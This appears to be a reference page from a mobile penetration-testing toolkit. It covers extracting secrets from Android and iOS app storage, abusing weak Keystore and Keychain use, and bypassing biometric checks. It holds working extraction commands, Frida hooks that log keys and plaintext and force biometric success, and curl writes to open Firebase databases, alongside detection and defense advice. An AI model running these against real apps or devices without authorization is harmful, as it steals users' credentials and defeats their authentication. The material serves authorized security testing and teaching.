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mobile-pentest

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Use when pentesting an Android/iOS app — Frida 17 instrumentation, SSL-pinning & root/jailbreak bypass, Android 14/15 CA injection, exported-component/content-provider abuse, deep-link/WebView chains, biometric bypass, Flutter/React-Native RE

references/insecure-storage-crypto.md

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# Insecure Storage, Keystore/Keychain & Biometric Bypass

> **ATT&CK (Mobile):** T1409 (Stored Application Data), T1634 (Credentials from Password Store / Keychain) · **CWE:** CWE-312, CWE-522, CWE-287

Data-at-rest attack surface (OWASP **MASVS-STORAGE** / **MASVS-CRYPTO** / **MASVS-AUTH**):
finding secrets in app storage, abusing weak Keystore/Keychain usage, and bypassing biometric
gates that authenticate the *user* but not the *crypto operation*.

---

## 1. Android Insecure Storage (CWE-312)

```bash
# SharedPreferences — frequently holds tokens, PII, "encrypted" blobs with hardcoded keys
adb shell run-as com.target.app cat shared_prefs/auth.xml        # run-as works on debuggable apps
adb shell su -c 'cat /data/data/com.target.app/shared_prefs/*.xml'

# SQLite DBs
adb shell su -c 'tar -C /data/data/com.target.app/databases -cf - .' | tar -xf - -C ./db_loot
sqlite3 ./db_loot/app.db '.tables'
sqlite3 ./db_loot/app.db 'SELECT * FROM sessions;'

# Internal files + caches
adb shell su -c 'ls -laR /data/data/com.target.app/files /data/data/com.target.app/cache'

# External / scoped storage (historically world-readable; check for secrets)
adb shell ls -la /sdcard/Android/data/com.target.app/
adb shell ls -la /sdcard/Android/media/com.target.app/

# allowBackup=true => extract without root
adb backup -f backup.ab -noapk com.target.app
( printf '\x1f\x8b\x08\x00\x00\x00\x00\x00' ; tail -c +25 backup.ab ) | gzip -dc > backup.tar
tar xf backup.tar
```

MobSF / `scripts/manifest_attack_surface.py` flags `allowBackup`, `debuggable`, and hardcoded-secret
patterns. Grep decompiled source for endpoints/keys:
`grep -rEn 'api[_-]?key|secret|token|password|firebaseio|amazonaws|AKIA[0-9A-Z]{16}' src/`.

---

## 2. Android Keystore Misuse (CWE-522 / CWE-320)

The Android Keystore can be **hardware-backed** (TEE/StrongBox — keys non-exportable) or
software-emulated. Common failures:

- Key generated **without** `setUserAuthenticationRequired(true)` → usable any time the app runs (so a
  biometric prompt that *doesn't* gate a Keystore op is theatre — see §4).
- "Encryption" with a **hardcoded** AES key or key derived from a static value (find via `grep`/Frida).
- Secret stored in SharedPrefs and "protected" by a Keystore key that isn't auth-bound.

Hook crypto to capture plaintext/keys at runtime:

```js
Java.perform(() => {
  const Cipher = Java.use('javax.crypto.Cipher');
  Cipher.doFinal.overload('[B').implementation = function (data) {
    const out = this.doFinal(data);
    console.log('[Cipher] alg=' + this.getAlgorithm() + ' in=' + bytesToB64(data) + ' out=' + bytesToB64(out));
    return out;
  };
  const SKS = Java.use('javax.crypto.spec.SecretKeySpec');
  SKS.$init.overload('[B', 'java.lang.String').implementation = function (k, a) {
    console.log('[Key] ' + a + ' = ' + bytesToHex(k));   // hardcoded keys surface here
    return this.$init(k, a);
  };
});
```

---

## 3. iOS Keychain & Plist Storage

```bash
# NSUserDefaults / plist (often leaks tokens, flags)
ssh -p2222 root@127.0.0.1
plutil -p /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.target.app.plist

# Keychain dump (jailbroken). On a JB device the ENTIRE keychain is dumpable in plaintext
# regardless of access-control flags — only Secure-Enclave-bound keys resist extraction.
keychain_dumper -a
# objection equivalent
objection -g com.target.app explore
ios keychain dump
```

`scripts/ios_bypass_suite.js` includes a Frida hook on `SecItemCopyMatching` / `SecItemAdd` to log every
keychain query, its `kSecAttrAccessible` class, and returned data — useful to spot items stored with weak
accessibility (e.g. `kSecAttrAccessibleAlways`) vs `...WhenPasscodeSetThisDeviceOnly`.

---

## 4. Biometric Bypass (CWE-287)

### 4a. Android — BiometricPrompt

**Secure pattern**: the app passes a `BiometricPrompt.CryptoObject` wrapping a Keystore key created with
`setUserAuthenticationRequired(true)`; the secret is only decryptable *after* the kernel/TEE confirms
auth — you cannot fake the callback into producing valid plaintext.

**Insecure pattern (bypassable)**: app branches on the **boolean result** of
`onAuthenticationSucceeded` with no crypto binding. Force it:

```js
Java.perform(() => {
  // Works on the result-only pattern; harmless against CryptoObject-bound flows.
  const CB = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
  CB.onAuthenticationSucceeded.implementation = function (result) {
    console.log('[+] forcing biometric success');
    return this.onAuthenticationSucceeded(result);
  };
  CB.onAuthenticationFailed.implementation = function () { /* swallow */ };
  // Some apps gate on canAuthenticate()
  const BM = Java.use('androidx.biometric.BiometricManager');
  BM.canAuthenticate.overload('int').implementation = () => 0;   // BIOMETRIC_SUCCESS
});
```

### 4b. iOS — LAContext.evaluatePolicy

**Root cause**: `evaluatePolicy:localizedReason:reply:` returns a **boolean** that is in no way correlated
with how (or whether) authentication happened. Hooking the reply block makes any check pass:

```js
// in scripts/ios_bypass_suite.js
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
  onEnter(args) {
    const block = new ObjC.Block(args[4]);
    const orig = block.implementation;
    block.implementation = (success, error) => { console.log('[+] LAContext bypassed'); orig(true, NULL); };
  }
});
```

**Hard limit**: this does **not** defeat keychain items protected with `SecAccessControl` flags
(`.biometryCurrentSet` / `kSecAccessControlTouchIDCurrentSet` / `kSecAccessControlUserPresence`), because
retrieval is enforced by the OS/Secure Enclave, not app logic. Report whether the app uses
`evaluatePolicy` (theatre) or `SecAccessControl`-gated `SecItemCopyMatching` (real). objection wraps the
hook as `ios ui biometrics_bypass`.

---

## 5. Cloud / Backend Misconfig From App Strings

```bash
# Firebase Realtime DB open read/write
curl -s 'https://<project>.firebaseio.com/.json'
curl -s -X PUT -d '{"pwn":true}' 'https://<project>.firebaseio.com/test.json'
# Firestore: look for `allow read, write: if true;` rules
# Hardcoded S3
aws s3 ls s3://<bucket> --no-sign-request
```

Extract these strings: `strings -a base.apk | grep -iE 'firebaseio|appspot|amazonaws|AIza[0-9A-Za-z_-]{35}'`.

---

## Detection

- **Insecure storage**: MASTG-TEST-0001 workflow — inspect `/data/data/<pkg>/` after normal use; any
  token/PII/key in plaintext fails. Defenses: EncryptedSharedPreferences/Jetpack Security with a Keystore
  key, `allowBackup="false"`, `android:debuggable="false"` in release.
- **Keystore/keychain misuse**: SecItem hooks reveal weak `kSecAttrAccessible`; on Android, keys created
  without `setUserAuthenticationRequired` / not StrongBox. Flag SE/StrongBox-backed (extraction-resistant)
  vs software keys in the finding.
- **Biometric bypass**: only the *result-only* pattern is hookable — its presence is itself the finding.
  App-side detection of Frida (maps scan, port probe) may block the hook; CryptoObject/`SecAccessControl`
  binding is the actual fix.
- Sigma (proxy egress) for harvested-secret exfil / open Firebase:
  ```yaml
  title: Mobile Secret Exfil or Open Firebase Access
  logsource: { category: proxy }
  detection:
    sel1: { url|re: 'firebaseio\.com/.*\.json' }
    sel2: { url|contains: ['?token=', '?code=', '&apikey='] }
    condition: sel1 or sel2
  level: medium
  ```

## OPSEC

- Storage reads via `run-as`/`adb backup` are quiet; root `cat`/`tar` touches atimes — snapshot before
  any write. Pull DBs, don't edit in place.
- On a jailbroken iOS device the keychain dumps in plaintext irrespective of ACLs — note in the report
  that this models a *device-compromise* threat, not a remote one, so the app's ACL choice still matters
  for non-JB threat models.
- Biometric/crypto Frida hooks are detectable; if the app has anti-Frida, prefer gadget mode and hook
  before the gating screen renders.

## References

- OWASP MASTG — Testing Local Data Storage (Android, MASTG-TEST-0001) & MASVS-STORAGE — https://mas.owasp.org/MASTG/ and https://mas.owasp.org/MASVS/
- OWASP MASTG — Bypassing Biometric Authentication (MASTG-TECH-0135) — https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0135/
- OWASP MASTG — Testing Local Authentication on iOS (LAContext / SecAccessControl) — https://mas.owasp.org/MASTG/0x06f-Testing-Local-Authentication/
- objection — Understanding the iOS Biometrics Bypass — https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass
- Ostorlab — Biometric Authentication Bypass knowledge base — https://docs.ostorlab.co/kb/BIOMETRIC_AUTHENTICATION_BYPASS/index.html
- Android Developers — Android Keystore system — https://developer.android.com/training/articles/keystore
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